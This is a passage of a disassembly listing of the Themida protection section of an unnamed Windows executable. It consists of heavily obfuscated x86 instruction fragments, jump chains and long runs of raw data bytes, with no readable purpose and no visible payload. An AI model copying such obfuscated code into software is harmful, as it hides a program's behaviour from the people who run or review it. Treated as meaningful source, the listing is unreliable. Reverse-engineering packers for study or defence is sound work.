		dd 4312404h, 0D0E4E924h, 487FFFEh, 0A579E924h, 4BFFFFFh
		dd 0E9000000h, 0FFFF00DEh, 2D3468h, 240C8900h, 0FEE29FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F35D:				; CODE XREF: Themida_:00567661j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55C422
; ---------------------------------------------------------------------------


loc_56F368:				; CODE XREF: Themida_:00566AFFj
		sub	al, 0B4h
		jmp	loc_565660
; ---------------------------------------------------------------------------
		db 81h
		dd 2E480CC9h, 514E913h,	0ED810000h, 5F7F7D98h, 2EB0ED81h
		dd 148B29AAh, 4C48124h,	33000000h, 2C31242Ch, 242C3324h
		dd 6624248Bh, 52240C8Bh, 0E951E289h, 0FFFFC0BBh, 240CFF66h
		dd 0D070E99Ch, 0C568FFFEh, 89000070h, 84BF243Ch, 0E909A804h
		dd 0FFFEE542h, 83243C8Bh, 0D6F704C4h, 634568h, 241C8900h
		dd 0F2469ABBh, 7E3C10Ch, 5F15B850h, 6CE912F3h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56F3E7:				; CODE XREF: Themida_:0056931Cj
		mov	edi, 1D707C59h
		add	edi, 55669EE6h
		add	edx, edi
		jmp	loc_55F3C2
; ---------------------------------------------------------------------------


loc_56F3F9:				; CODE XREF: Themida_:0055D9EDj
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 30C54539h
		shl	edx, 6
		shl	edx, 5
		jmp	loc_565832
; ---------------------------------------------------------------------------
		dd 240C8B66h, 687668h, 24348900h, 8904EC83h, 0B6E92424h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F42B:				; CODE XREF: Themida_:0055FB42j
		mov	ebp, 73BF6640h
		sub	esi, 378C2634h
		add	esi, ebp
		push	1362h
		mov	[esp], ebx
		jmp	loc_56B6F3
; ---------------------------------------------------------------------------
		db 89h,	0C3h, 58h
		dd 6195C581h, 0DD294677h, 6195ED81h, 1C8B4677h,	0C9A0E924h
		dd 2489FFFFh, 24048324h, 242C8B04h, 4EC8152h, 89000000h
		dd 4832424h, 815A0424h,	4C2h, 2EBB5300h, 5649184Bh, 7E0440BEh
		dd 56E6813Bh, 0F7228E5Ch, 0CE814ED6h, 246C4E2Fh, 8106EEC1h
		dd 98ECA8EEh, 0E403E9C8h, 1C87FFFFh, 0D6015C24h, 8324148Bh
		dd 343304C4h, 24343124h, 5C243433h, 9C240CFEh, 0FECF5DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F4C5:				; CODE XREF: Themida_:00571205j
		mov	esi, 7B7B59DDh
		mov	edx, 8484A627h
		add	edx, 3383185Fh
		push	ebx
		mov	ebx, 67EE041Bh
		sub	ebx, 2DA82170h
		jmp	loc_56D80D
; ---------------------------------------------------------------------------


loc_56F4E6:				; CODE XREF: Themida_:00569F6Bj
		push	esi
		mov	esi, 4
		sub	ecx, 22186FFFh
		sub	ecx, esi
		add	ecx, 22186FFFh
		pop	esi
		jmp	loc_56704F
; ---------------------------------------------------------------------------
		dd 5966CE00h, 62E9F028h, 100000Bh, 88C581FDh, 6840CB1Bh
		dd 13B3h, 0BB241C89h, 4D934E37h, 4E33ED81h, 0DD015E5Ah
		dd 4E33C581h, 1C8B5E5Ah, 0E1895124h, 0FF5FF8E9h, 4C483FFh
		dd 2945BF57h, 0CE90539h, 8000000Eh, 0E950F0E5h,	0FFFF3817h
; ---------------------------------------------------------------------------


loc_56F550:				; CODE XREF: Themida_:0055EAA0j
		dec	edx
		xor	edx, 75095CC8h
		add	ebp, edx
		pop	edx
		xor	ebp, 8579C7B9h
		add	ebx, ebp
		jmp	loc_5692BC
; ---------------------------------------------------------------------------


loc_56F567:				; CODE XREF: Themida_:00565510j
		xor	esi, ecx
		xor	ecx, esi
		xchg	ecx, edx
		push	0
		sub	[esp], edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 32E42C13h
		jmp	loc_55C486
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6D1D685Ch, 73E90000h, 8FFFFF64h, 248B2404h, 24040024h
		dd 1FDAE99Ch, 0C181FFFFh, 0E15F2BE3h, 0C159CF29h, 0E95208EFh
		dd 0FFFFB922h, 6802EBC1h, 1A84h, 0BA241489h, 4B564042h
		dd 0CE86E956h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56F5CE:				; CODE XREF: Themida_:00569756j
		push	ebx
		jmp	loc_561F90
; ---------------------------------------------------------------------------
		dd 53243489h, 0A94273BBh, 4277BE7Fh, 0DE297FA9h, 86E9565Bh
		dd 81FFFF21h, 0F5D057C5h, 8BE8211Bh, 0C483242Ch, 2F3504h
		dd 0C3010530h, 582434FFh, 4C481h, 1C330000h, 0D402E924h
		dd 8146FFFEh, 0C95947F6h, 5EF289D9h, 3EE4BB53h,	0DD294A44h
		dd 81D5015Bh, 443EE4C5h, 24148B4Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_57101C
; ---------------------------------------------------------------------------
		dd 24048966h, 0FECDCDE9h, 0E9D029FFh, 0FFFFF3FBh
; ---------------------------------------------------------------------------


loc_56F65C:				; CODE XREF: Themida_:0056ACA6j
		add	esi, ebp
		sub	esi, 375A76DFh
		add	esi, 41E41887h
		jmp	loc_562866
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 4E682414h, 8900005Ch
		dd 8852241Ch, 5AD788EAh, 505BFE88h, 0C788F088h,	24148B58h
		dd 4C481h, 8B660000h, 0F568240Ch, 89000040h, 0E389241Ch
		dd 4C381h, 0BE560000h, 2, 30E9F301h, 81FFFEFDh,	0B15890E2h
		dd 0A9EA8146h, 812229E9h, 510F58C3h, 52D3292Fh,	510F58BAh
		dd 5AD3292Fh, 2FA4685Ah, 0C890000h, 32DCE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F6EE:				; CODE XREF: Themida_:005677BBj
		add	esp, 4
		add	esp, 4
		push	6B59h
		jmp	loc_56D672
; ---------------------------------------------------------------------------


loc_56F704:				; CODE XREF: Themida_:0055EB4Bj
		pop	esp
		xor	ecx, 49A5068Eh
		mov	edx, [esp]
		add	esp, 4
		and	[edi+1Ch], ecx
		pop	ecx
		jmp	loc_56AAD3
; ---------------------------------------------------------------------------


loc_56F71A:				; CODE XREF: Themida_:0055DEA9j
		mov	[esp], ebx
		mov	ebx, 24h
		jmp	loc_566B61
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 24041058h, 0CCECE99Ch, 0BA52FFFEh, 3BDA7273h
		dd 0FF6529E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F741:				; CODE XREF: Themida_:0057081Dj
		push	eax
		push	esi
		mov	esi, 669962EBh
		mov	eax, esi
		jmp	loc_571193
; ---------------------------------------------------------------------------
		db 59h
		dd 80FDC380h, 0D328BDC3h, 52BDEB80h, 5166C5B6h,	0FEFFD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F765:				; CODE XREF: Themida_:0055FDE7j
		push	ebx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		jmp	loc_566D35
; ---------------------------------------------------------------------------


loc_56F781:				; CODE XREF: Themida_:0056D79Fj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_568F3A
; ---------------------------------------------------------------------------


loc_56F78C:				; CODE XREF: Themida_:005602BAj
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		push	4305h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_562E83
; ---------------------------------------------------------------------------


loc_56F7BB:				; CODE XREF: Themida_:0055F75Dj
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		dd 6EB80h, 4E0CE9C3h, 248BFFFFh, 4C78124h, 68000000h, 355Ch
		dd 0BD242C89h, 23D674FAh, 0D5F7D5F7h, 0FF51D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F7E9:				; CODE XREF: Themida_:0055FE6Ej
		add	edx, 8CB24C26h
		xor	ebp, edx
		pop	edx
		mov	eax, ebp
		pop	ebp
		jmp	loc_569110
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 2, 0FF0E14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F805:				; CODE XREF: Themida_:00562C18j
		push	5B272B57h
		pop	esi
		jmp	loc_56F100
; ---------------------------------------------------------------------------
		dd 4B8505Ch, 1000000h, 24048BC5h, 0E904C483h, 0FFFF4051h
; ---------------------------------------------------------------------------


loc_56F824:				; CODE XREF: Themida_:00565EAFj
		shr	ecx, 1
		add	ecx, 4A7C0CF3h
		jmp	loc_56003F
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0B3h
		dd 0F76E4713h, 6E6C1D6h, 0EEC1DEF7h, 48F68103h,	0E96DF8E3h
		dd 0FFFF0170h, 0C83BBA66h, 66D62966h, 0E924148Bh, 0FFFF87E5h
		dd 802BC380h, 4BE9F3EBh
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56F867:				; CODE XREF: Themida_:0056B1E4j
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		push	0
		sub	[esp], edx
		pop	edx
		xor	edx, 22B2BDEh
		or	edi, edx
		jmp	loc_562DA8
; ---------------------------------------------------------------------------
		db 57h
		dd 4BFh, 0EA3FE900h, 0C181FFFFh, 0C4901435h, 6859CD01h
		dd 0CCBh, 0BF243C89h, 2E982AFCh, 0FF15BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56F8A9:				; CODE XREF: Themida_:0056D32Bj
		add	edi, 433E1CB7h
		sub	edi, 8FFD1852h
		add	esi, 28EA787Ah
		add	esi, edi
		sub	esi, 28EA787Ah
		pop	edi
		add	esi, 4
		jmp	loc_55F029
; ---------------------------------------------------------------------------
		db 1
		dd 0C1815DE9h, 4, 2474FF51h, 8168E904h,	8158FFFFh, 0DE781AEFh
		dd 0AFC78174h, 0E9613A6Bh, 3FBh
; ---------------------------------------------------------------------------


loc_56F8F4:				; CODE XREF: Themida_:00564FA2j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		sub	esp, 4
		jmp	loc_56FAA9
; ---------------------------------------------------------------------------


loc_56F908:				; CODE XREF: Themida_:0056F105j
		xor	ebx, esi
		pop	esi
		jmp	loc_56E528
; ---------------------------------------------------------------------------


loc_56F910:				; CODE XREF: Themida_:00565C65j
		mov	[esp], ecx
		mov	ecx, 77D730FCh
		sub	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		push	10000h
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	5147h
		mov	[esp], edx
		jmp	loc_571204
; ---------------------------------------------------------------------------
		dw 1FBFh
		dd 5500F102h, 0C65C29BDh, 27ED816Ch, 81560E32h,	7C1CF8EFh
		dd 81EF0102h, 7C1CF8C7h, 0D7F75D02h, 23C78147h,	8117A92Ch
		dd 8C16E1C2h, 0E9FA016Bh, 0FFFF1396h, 2EC6C781h, 0E95D5D4Fh
		dd 0FFFEDFF4h, 0C588D888h, 148B5B58h, 4C48324h,	0FF3EE2E9h
		dd 4C483FFh, 31242C33h,	2C33242Ch, 89535C24h, 4C381E3h
		dd 52000000h, 2C0CBE56h, 6855701Eh, 4B1921E3h, 0C2E5815Dh
		dd 831BC235h, 0DDF701C5h, 0B22FED81h, 0EA8984E1h, 5EF2295Dh
		dd 875AD329h, 665C241Ch, 0B1240C89h, 0CEEB80DCh, 0EFEB80h
		dd 0EFC380CBh, 66CEC380h, 0C7EB8059h, 355E9h, 5BDA2900h
		dd 0FEE6B9E9h, 0DAF75AFFh, 7080E955h, 0E381FFFFh, 0A7C11C0h
		dd 0FFEB814Bh, 0D1FFFFFFh, 50BE56E3h, 0E96CA66Ch, 0FFFF6FA1h
		dd 0E9EDF280h, 0FFFFC11Fh, 0B8h, 0C561E900h, 0EA68FFFFh
		dd 8900005Ch, 0BD552414h, 1F944DA1h, 19F8CD81h,	0ED8173D9h
		dd 32CC46F8h, 295DEA89h, 40E95AD1h, 81FFFF93h, 385F03CEh
		dd 0D1C68149h, 29E36F96h, 0C3895EF0h, 0FFDEA8E9h, 1B6568FFh
		dd 14890000h, 1BA24h, 0D7010000h, 0E9CF315Ah, 0FFFFCD64h
		dd 875DEA01h, 835C2414h, 0FF5002E8h, 58042474h,	0FF9CD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FAA9:				; CODE XREF: Themida_:0056F903j
		mov	[esp], eax
		push	49D3h
		mov	[esp], edx
		mov	edx, 4
		mov	eax, edx
		jmp	loc_5685EF
; ---------------------------------------------------------------------------
		dd 104C483h, 4335EF0h, 24043124h, 0E9240433h, 0FFFEEC14h
		dd 9345966h, 48BC320h, 4C48124h, 0E9000000h, 0FFFFAB5Ah
		dd 242C875Fh, 6624248Bh, 9C2404D3h, 0FEC929E9h,	59C801FFh
		dd 8704C083h, 685C2404h, 5313h,	0FF1D11E9h, 97C181FFh
		dd 814FE60Dh, 756C71C9h, 2E9C107h, 73F3C181h, 0C1810109h
		dd 0D4F6B072h, 8359CA01h, 0FF5204EAh, 5A042474h, 8B24048Fh
		dd 8F542424h, 4812404h,	424h, 0C3E95D00h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FB4B:				; CODE XREF: Themida_:00560CE3j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	ebp, esi
		mov	esi, [esp]
		jmp	loc_5701A0
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 0FFF2BBE9h, 63CE81FFh, 0F7240B53h, 0DC69E9D6h
		dd 1489FFFEh, 2474FF24h, 48F5A04h, 24248B24h, 4B30F66h
		dd 93E99C24h
		db 0C8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FB8F:				; CODE XREF: Themida_:00565F9Fj
		pop	ebp
		sub	dword ptr [esp], 40929BCh
		jmp	loc_568C7C
; ---------------------------------------------------------------------------
		dd 1961C381h, 0FB011A7Fh, 1961EB81h, 815F1A7Fh,	2C3h, 74FF5300h
		dd 0BDE90424h, 89FFFEEAh, 405E0h, 0B5E90000h, 66FFFECAh
		dd 81240C8Bh, 4ECh, 240C8900h, 0C1815954h, 4, 499E68h
		dd 24048900h, 71268h, 3037E900h, 15EFFFFh, 43E95BD8h, 5DFFFF0Fh
		dd 0FF4472E9h, 0C820E9FFh, 0A12DFFFEh, 0E933C85Eh, 0FFFF44D9h
		dd 0E9243C33h, 0FFFFA225h, 8BF18959h, 89522434h, 44B8E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FC22:				; CODE XREF: Themida_:0055DE68j
		mov	[esp], esi
		xchg	ebx, [esp]
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	dword ptr [esp]
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 78BF7547h
		jmp	loc_5713AC
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0ADh
		db 11h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FC5F:				; CODE XREF: Themida_:005696BDj
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5608BC
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 3B806C14h, 5602E3C1h, 0F0EFEEBEh, 8BF33105h,	0C4812434h
		dd 4, 0FF143DE9h, 3400BBFFh, 59E9362Bh,	5A000017h, 0FF1A96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56FCAD:				; CODE XREF: Themida_:0056161Cj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5642A4
; ---------------------------------------------------------------------------


loc_56FCBD:				; CODE XREF: Themida_:0055F211j
		sub	edi, 1FE129A0h
		add	edi, ebx
		jmp	loc_5669DC
; ---------------------------------------------------------------------------


loc_56FCCA:				; CODE XREF: Themida_:0056AF9Aj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_566608
; ---------------------------------------------------------------------------


loc_56FCDE:				; CODE XREF: Themida_:0057094Ej
		push	ebx
		mov	ebx, 26722D8Ah
		xor	ebx, 3D061DF4h
		jmp	loc_564A5B
; ---------------------------------------------------------------------------
		db 1
		dd 0AFEF81CFh, 0E9613A6Bh, 2C1h
; ---------------------------------------------------------------------------


loc_56FCFC:				; CODE XREF: Themida_:00568CB6j
		add	[esp+4], edx
		jmp	loc_567B12
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 84h
		dd 5710901Fh, 1B5444BFh, 0D3BE5629h, 462F6048h,	1074E9h
		dd 6CBB5300h, 811BE93Fh, 67CF8CBh, 7FA5E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FD2E:				; CODE XREF: Themida_:005615ADj
		push	3DC8h
		jmp	loc_560CD1
; ---------------------------------------------------------------------------
		dd 5243F580h, 0C680CBB6h, 3BB151F9h, 59CE00h, 9EE95AF5h
		dd 83FFFF8Bh, 148904ECh, 4CE3E924h, 0C380FFFFh,	0C95FE924h
		dd 0C483FFFFh, 8BF00104h, 89532434h, 35E956E3h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FD73:				; CODE XREF: Themida_:00560ED2j
		mov	cl, 8
		jmp	loc_5659E9
; ---------------------------------------------------------------------------


loc_56FD7A:				; CODE XREF: Themida_:0056DFE6j
		shr	ch, 4
		not	ch
		xor	ch, 0E4h
		jmp	loc_56E8ED
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 5DEF0100h, 5B3468h, 242C8900h,	4EC81h,	1C890000h
		dd 265D6824h, 15E96F79h, 50FFFF39h, 1249F9B8h, 58C3096Eh
		dd 0FEE589E9h, 5BD929FFh, 4128BA52h, 0D1316AFAh, 8324148Bh
		dd 0BD5504C4h, 134B09FDh, 0E903EDC1h, 0FFFFBE7Ch, 598C781h
		dd 148B19A8h, 0E0895024h, 405h,	4C08300h, 0FF8996E9h, 0C4835FFFh
		dd 4C48104h, 8B000000h,	0C481240Ch, 4, 0F9C4BB53h, 0DF018CC9h
		dd 0E9241C8Bh, 0FFFFCD9Bh, 0B6E9D9F7h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FE1B:				; CODE XREF: Themida_:0055F186j
					; Themida_:005665DAj
		push	0CA9h
		jmp	loc_56B3D3
; ---------------------------------------------------------------------------


loc_56FE25:				; CODE XREF: Themida_:0055D896j
		xor	edx, ecx
		jmp	loc_560ED7
; ---------------------------------------------------------------------------
		dd 48E9F329h
		db 0F7h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FE33:				; CODE XREF: Themida_:00563CD5j
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, 3CE3396h
		sub	edi, 3071401Dh
		add	edi, ebx
		add	edi, 3071401Dh
		sub	edi, 3CE3396h
		pop	ebx
		xchg	edi, [esp]
		jmp	loc_56D45E
; ---------------------------------------------------------------------------
		dw 3C68h
		dd 5B7DC20Ah, 1CA6C281h, 0C28143E8h, 464D7B5Ch,	0EA81DA29h
		dd 464D7B5Ch, 1CA6EA81h, 555B43E8h, 0FF51F7E9h,	28C7BEFFh
		dd 0F309152Fh, 85E9535Eh, 66000000h, 5224048Bh,	7C568h
		dd 4EC8100h, 89000000h,	80E92424h, 1FFFF58h, 390105F8h
		dd 34FF53E7h, 2434FF24h, 5466685Fh, 0F8E90000h
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56FEC3:				; CODE XREF: Themida_:0056DD86j
		shr	eax, 8
		xor	eax, 103C16CFh
		add	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 5C32047Dh
		jmp	loc_55C579
; ---------------------------------------------------------------------------
		db 80h,	0F7h, 46h
		dd offset dword_5BF828
		dd 0FFBB04F0h, 0CBE92434h, 66FFFEC7h, 68240C8Bh, 7BB1h
		dd 0E9241489h, 0FFFF3AC5h, 81242C8Bh, 4C4h, 8BF90100h
		dd 0C483243Ch, 240C8704h, 0E924248Bh, 949h, 0E92414F7h
		dd 0FFFF7270h
; ---------------------------------------------------------------------------


loc_56FF20:				; CODE XREF: Themida_:005712E9j
		shl	esi, 6
		sub	esi, 85E12DBFh
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		neg	edx
		add	edx, 325055C5h
		push	edx
		xor	dword ptr [esp], 5EC5339Eh
		jmp	loc_55D0AC
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 2474FF24h, 48F5F04h,	89665C24h, 0C3E9240Ch, 89FFFEC4h
		dd 9E9241Ch, 49FFFF8Eh,	5608F181h, 0CF89982Fh, 0E1BFE959h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FF76:				; CODE XREF: Themida_:005691C4j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_56DDBF
; ---------------------------------------------------------------------------


loc_56FF84:				; CODE XREF: Themida_:0056290Aj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, esp
		jmp	loc_569C5B
; ---------------------------------------------------------------------------


loc_56FFA7:				; CODE XREF: Themida_:00566C6Cj
		add	ebx, 4
		jmp	loc_56164D
; ---------------------------------------------------------------------------


loc_56FFB2:				; CODE XREF: Themida_:0055F54Dj
		sub	ecx, 4
		jmp	loc_55DB4C
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 1Ah
		dd 0E974DE78h, 0FFFFB373h, 0C780D7F6h, 45B15117h, 2C19F180h
		dd 0F598E90Bh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56FFDA:				; CODE XREF: Themida_:0056ADDDj
		mov	ecx, [esp]
		jmp	loc_56D84B
; ---------------------------------------------------------------------------
		dw 48Bh
aHY		db '$hÀY',0
		align 2
		dw 1489h
aTzhB		db '$TZh/b',0
		align 4
		dd 55240C89h, 0E50145BDh, 0E611E944h, 0C89FFFEh, 4B924h
		dd 0CF010000h, 74FF5759h, 3C8B0424h, 4C48124h, 8F000000h
		dd 248B2404h, 24048F24h, 0C3F8E95Ch, 0C483FFFEh, 68D80104h
		dd 6F03h, 0BA241489h, 3620326Bh, 0FF42F6E9h, 248B66FFh
		dd 0C3D8E924h, 0E781FFFEh, 8C81CE4h, 0FFBB3CE9h, 7BE9ACFFh
		dd 1FFFED6h, 2E39E9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570062:				; CODE XREF: Themida_:0055FD55j
		sub	esi, 2DC1231Bh
		jmp	loc_56115F
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0E904C483h, 0FFFF01E3h
; ---------------------------------------------------------------------------


loc_570078:				; CODE XREF: Themida_:00560BB2j
		sub	eax, 0F103B83h
		add	eax, 12062723h
		sub	eax, ecx
		sub	eax, 12062723h
		add	eax, 0F103B83h
		pop	ecx
		pop	esi
		xor	ebx, eax
		push	389Dh
		mov	[esp], esi
		mov	esi, 66EE06BEh
		add	esi, 0FFFFFFFFh
		jmp	loc_56EF22
; ---------------------------------------------------------------------------
		db 0BFh
		dd 762D6568h, 0FEE77CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5700B1:				; CODE XREF: Themida_:0056B273j
		shr	ecx, 4
		add	ecx, 5B0A9B5Bh
		mov	ebx, ecx
		pop	ecx
		mov	edi, ebx
		pop	ebx
		jmp	loc_56ED97
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0BE92434h, 68FFFEE9h
		dd 7AB7h, 89241489h, 36E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5700EE:				; CODE XREF: Themida_:0056B0E2j
		add	esp, 4
		push	70E7h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	2F4Ch
		jmp	loc_5613D6
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0E9570000h, 0FFFF7C87h, 0ECB95150h, 0E9518A51h
		dd 0FFFF59C3h, 5A2434FFh, 9B81E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57013A:				; CODE XREF: Themida_:0056E8FBj
		push	eax
		mov	al, 0CFh
		xchg	dh, al
		not	dh
		xchg	dh, al
		neg	al
		jmp	loc_570181
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 0FE36E7Ah, 0C15DE829h, 2D3505E0h, 0C106616Eh, 0BD5508E8h
		dd 26AA4880h, 2C55CD81h, 0E9456253h, 0FFFFA9E4h, 5555C981h
		dd 0C1814B3Ch, 75C37E9Bh, 0FF6127E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570181:				; CODE XREF: Themida_:00570145j
		and	al, 3Eh
		shr	al, 2
		add	al, 0C8h
		add	dh, 4Ch
		jmp	loc_56610F
; ---------------------------------------------------------------------------
		db 1, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5667AE
; ---------------------------------------------------------------------------


loc_5701A0:				; CODE XREF: Themida_:0056FB59j
		push	edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_561477
; ---------------------------------------------------------------------------


loc_5701C7:				; CODE XREF: Themida_:00566E3Ej
		xchg	edx, [esp]
		jmp	loc_565051
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8AE92434h
		db 0EAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5701D7:				; CODE XREF: Themida_:005702E0j
		mov	edi, 5A0D3681h
		sub	esi, edi
		pop	edi
		jmp	loc_568F8D
; ---------------------------------------------------------------------------
		dd 2F51C281h, 875B0108h, 0E95C2414h, 0FFFF1BB9h, 241C8966h
		dd 0E9515BB7h, 5D5h
; ---------------------------------------------------------------------------


loc_570200:				; CODE XREF: Themida_:0056D62Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56CAA6
; ---------------------------------------------------------------------------
		dw 6AB9h
		dd 2143DA55h, 240C8BCBh, 4C481h, 0E9550000h, 0FFFFF076h
; ---------------------------------------------------------------------------


loc_570224:				; CODE XREF: Themida_:00560C72j
		push	esi
		mov	esi, 3320E28h
		sub	esi, 23A61CB6h
		not	esi
		shr	esi, 4
		jmp	loc_562B07
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24248924h, 4BB53h, 44810000h, 2B9E0424h, 5C013859h
		dd 6C810424h, 2B9E0424h, 0E95B3859h, 0FFFEC1C2h, 240C8B66h
		dd 0D38E953h, 0EC830000h, 24248904h, 56E468h, 255E900h
		dd 0E0890000h, 772BBA52h, 5F6846CEh, 89000074h,	14F72414h
		dd 0E2C15A24h, 6802h, 14290000h, 24148B24h, 0FEF848E9h
		dd 0B8EF81FFh, 0D10B6444h, 4FF57EFh, 0E7815F24h, 6D9C33DCh
		dd 3292BB53h, 0B8507092h, 62BE3546h, 0C161D72Dh, 69C12D6Ch
		dd 35E9A831h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5702CF:				; CODE XREF: Themida_:00561CD7j
		add	ebp, eax
		pop	eax
		mov	esi, 84BC8F65h
		add	esi, 5A0D3681h
		add	esi, ebp
		push	edi
		jmp	loc_5701D7
; ---------------------------------------------------------------------------
		db 80h,	0C7h, 29h
		dd 0FEDAC1E9h, 0C4EA81FFh, 0E9064B02h, 0FFFFA5D4h
; ---------------------------------------------------------------------------


loc_5702F8:				; CODE XREF: Themida_:0056C68Cj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	edx, 97E1496h
		push	edx
		jmp	loc_567B29
; ---------------------------------------------------------------------------
		db 28h
		dd 6E95BF9h, 1FFFFB8h, 64482DE8h, 0CE054416h, 5D4F710Ch
		dd 0FFEAA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570329:				; CODE XREF: Themida_:0055E607j
		dec	ecx
		add	ecx, 0B7A418E3h
		sub	esi, ecx
		pop	ecx
		sub	ebx, 47D506DCh
		add	ebx, 488408F5h
		add	ebx, esi
		jmp	loc_570F85
; ---------------------------------------------------------------------------


loc_570346:				; CODE XREF: Themida_:00562513j
		neg	ebp
		jmp	loc_567788
; ---------------------------------------------------------------------------


loc_57034D:				; CODE XREF: Themida_:00569674j
		pop	esp
		jmp	loc_563355
; ---------------------------------------------------------------------------
		db 1
		dd 0C2815FFAh, 10901F84h, 6A3EBF57h, 4E9010Ah, 81FFFF3Eh
